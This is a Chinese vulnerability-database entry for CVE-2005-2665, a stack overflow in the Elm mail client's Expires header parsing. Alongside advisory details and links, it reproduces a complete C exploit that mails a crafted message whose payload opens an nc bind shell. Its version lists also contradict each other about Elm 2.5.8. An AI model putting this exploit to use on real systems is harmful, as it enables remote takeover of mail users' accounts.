CVE-2005-2665
CVSS7.5
发布时间 :2005-08-23 00:00:00
修订时间 :2016-10-17 23:29:23
NMCOES    

[原文]Stack-based buffer overflow in expires.c in Elm 2.5 PL5 through PL7, and possibly other versions, allows remote attackers to execute arbitrary code via an e-mail message with a long Expires header.


[CNNVD]Elm Expires 栈溢出漏洞(CNNVD-200508-228)

        Elm是一个为基于Unix操作系统的用户使用的流行的电子邮件程序。
        Elm中存在缓冲区溢出漏洞。如果浏览了包含有特制'Expires'首部消息的邮箱的话就会触发这个漏洞。攻击者可以创建恶意消息,导致以接收该消息用户的权限执行任意代码。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:elm_development_group:elm:2.5_pl5
cpe:/a:elm_development_group:elm:2.5_pl6
cpe:/a:elm_development_group:elm:2.5_pl7

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2665
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-2665
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200508-228
(官方数据源) CNNVD

- 其它链接及资源

http://archives.neohapsis.com/archives/fulldisclosure/2005-08/0688.html
(PATCH)  FULLDISC  20050820 [RETRO AUDITING] Elm remote buffer overflow in Expires header
http://marc.info/?l=bugtraq&m=112472951529964&w=2
(UNKNOWN)  BUGTRAQ  20050822 ELM < 2.5.8 Remote Exploit POC
http://securitytracker.com/id?1014745
(PATCH)  SECTRACK  1014745
http://www.gentoo.org/security/en/glsa/glsa-200510-15.xml
(UNKNOWN)  GENTOO  GLSA-200510-15
http://www.mandriva.com/security/advisories?name=MDKSA-2005:186
(UNKNOWN)  MANDRIVA  MDKSA-2005:186
http://www.redhat.com/support/errata/RHSA-2005-755.html
(UNKNOWN)  REDHAT  RHSA-2005:755
http://www.securityfocus.com/advisories/9670
(UNKNOWN)  SCO  SA-2005.47
http://www.securityfocus.com/bid/14613
(UNKNOWN)  BID  14613
http://www.securityfocus.com/bid/15117
(UNKNOWN)  BID  15117
http://www.slackware.org/security/viewer.php?l=slackware-security&y=2005&m=slackware-security.419306
(UNKNOWN)  SLACKWARE  SSA:2005-311
http://www.slackware.org/security/viewer.php?l=slackware-security&y=2005&m=slackware-security.423056
(UNKNOWN)  SLACKWARE  SSA:2005-310-03

- 漏洞信息

Elm Expires 栈溢出漏洞
高危 缓冲区溢出
2005-08-23 00:00:00 2005-10-20 00:00:00
远程  
        Elm是一个为基于Unix操作系统的用户使用的流行的电子邮件程序。
        Elm中存在缓冲区溢出漏洞。如果浏览了包含有特制'Expires'首部消息的邮箱的话就会触发这个漏洞。攻击者可以创建恶意消息,导致以接收该消息用户的权限执行任意代码。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,补丁下载链接:
        ftp://ftp.virginia.edu/pub/elm/elm2.5.8.tar.gz
        http://lwn.net/Alerts/148869/?format=printable

- 漏洞信息 (1171)

Elm < 2.5.8 (Expires Header) Remote Buffer Overflow Exploit (EDBID:1171)
linux remote
2005-08-22 Verified
0 c0ntex
N/A [点击下载]
/*

  Exploit code for the bug posted by Ulf Harnhammar (metaurtelia.com)
  http://archives.neohapsis.com/archives/fulldisclosure/2005-08/0688.html

  Probably you will need to change SYSLOC and STRLOC to work on your box

*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFFER 83
#define EMAIL  "tmpmail"
#define STRING "`nc -l -p 12345 -e /bin/sh`&##"
#define SYSLOC 0x42041e50
#define STRLOC 0x4001a207
#define EXTLOC 0x4202b0f0

char expire[]="\x45\x78\x70\x69\x72\x65\x73\x3A\x20";

int main(int argc, char **argv)
{
      char buffer[BUFFER];
      char *email = NULL;
      char *user = NULL;
      int i;
      long extloc, sysloc, strloc;
      FILE *fp;

      if(argc != 2) {
        puts("Usage: ./elmex <user@where.com>");
        exit(EXIT_FAILURE);
      }

      if(strlen(argv[1]) > 50) {
              puts("[-] Sorry, email address too long!");
              exit(EXIT_FAILURE);
      }

      user = (char *)malloc(strlen(argv[1]));
      if(!user) {
              perror("malloc");
              exit(EXIT_FAILURE);
      }

      email = EMAIL;

      memset(user, '\0', strlen(argv[1]));
      memcpy(user, argv[1], strlen(argv[1]));

      puts("\nExploit for elm email client < 2.5.8 overflow in Expires field");
      puts("Tested: Redhat on quiet a Sunday by c0ntex[at]open-security.org\n");

      extloc = EXTLOC;
      sysloc = SYSLOC;
      strloc = STRLOC;

      memset(buffer, '\0', BUFFER);
      memcpy(buffer, expire, strlen(expire));

      for(i = strlen(expire); i < 53; i++)
              *(buffer+i) = 0x41;
      for(i = 53; i < 57; i += 4)
              *(long *)&buffer[i] = sysloc;
      for(i = 57; i < 61; i++)
              *(long *)&buffer[i] = extloc;
      for(i = 61; i < 65; i += 4)
              *(long *)&buffer[i] = strloc;

      memcpy(&buffer[65], STRING, strlen(STRING));
      buffer[BUFFER] = '\0';

      puts("[-] Adding exploit buffer to email");

      fp = fopen(email, "w");
      if(!fp) {
              perror("fopen"); free(user);
              exit(EXIT_FAILURE);
      }

      fprintf(fp,
               "From: User c0ntex <c0ntex@open-security.org> Sun Aug 21 13:37:00 2005\n"
               "Return-Path: <c0ntex@localhost\n"
               "Date: Sun, 21 Aug 2005 13:37:00 %s\n"
               "Subject: Insecure?\n"
               "To: %s\n"
               "%s\n", STRING, user, buffer);
      fclose(fp);

      printf("[-] Emailing %s with malicious content\n", argv[1]);

      if(system("/bin/cat ./tmpmail | /usr/sbin/sendmail -t") <0) {
              perror("system");  free(user);
              exit(EXIT_FAILURE);
      }

      puts("[-] Connect to system on port 12345 to get your shell\n");

      if(unlink(EMAIL) <0)
              perror("unlink");

      free(user);

      return EXIT_SUCCESS;
}

// milw0rm.com [2005-08-22]
		

- 漏洞信息

18914
Elm Expires Header Parsing Overflow
Input Manipulation
Loss of Integrity Upgrade
Exploit Public Vendor Verified

- 漏洞描述

- 时间线

2005-08-20 Unknow
2005-08-22 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Elm Expires Header Remote Buffer Overflow Vulnerability
Boundary Condition Error 14613
Yes No
2005-08-20 12:00:00 2009-07-12 05:06:00
Ulf Harnhammar <metaur@telia.com> is credited with the discovery of this vulnerability.

- 受影响的程序版本

Winace Winace 2.6 05
Slackware Linux 10.2
Slackware Linux 10.1
Slackware Linux 10.0
Slackware Linux 9.1
Slackware Linux 9.0
Slackware Linux 8.1
Slackware Linux -current
RedHat Advanced Workstation for the Itanium Processor 2.1 IA64
RedHat Advanced Workstation for the Itanium Processor 2.1
Red Hat Enterprise Linux AS 2.1 IA64
Red Hat Enterprise Linux AS 2.1
Elm Development Group ELM 2.5.7
Elm Development Group ELM 2.5.6
Elm Development Group ELM 2.5.5
- RedHat Linux 7.1 alpha
Elm Development Group ELM 2.5.8
Elm Development Group ELM ME+

- 不受影响的程序版本

Elm Development Group ELM 2.5.8
Elm Development Group ELM ME+

- 漏洞讨论

Elm is prone to a buffer overflow vulnerability which could allow an attacker to execute malicious code. This issue is due to a failure in the application to perform proper bounds checking on user-supplied data.

A successful attack can result in overflowing a finite sized buffer and may ultimately lead to arbitrary code execution in the context of the affected application.

- 漏洞利用

c0ntex &lt;c0ntexb@gmail.com&gt; has provided the following exploit:

- 解决方案

Reports indicate Elm versions ME+ and 2.5.8 are not vulnerable to this issue. This has not been confirmed by Symantec or the vendor.

Red Hat has released advisory RHSA-2005:755-07 to address this issue in affected operating systems. Please see the referenced advisory for more information.

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.

Slackware Linux has released advisory SSA:2005-311-01 to address this issue in affected operating systems. Please see the referenced advisory for more information.


Elm Development Group ELM 2.5.5

Elm Development Group ELM 2.5.6

Elm Development Group ELM 2.5.7

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站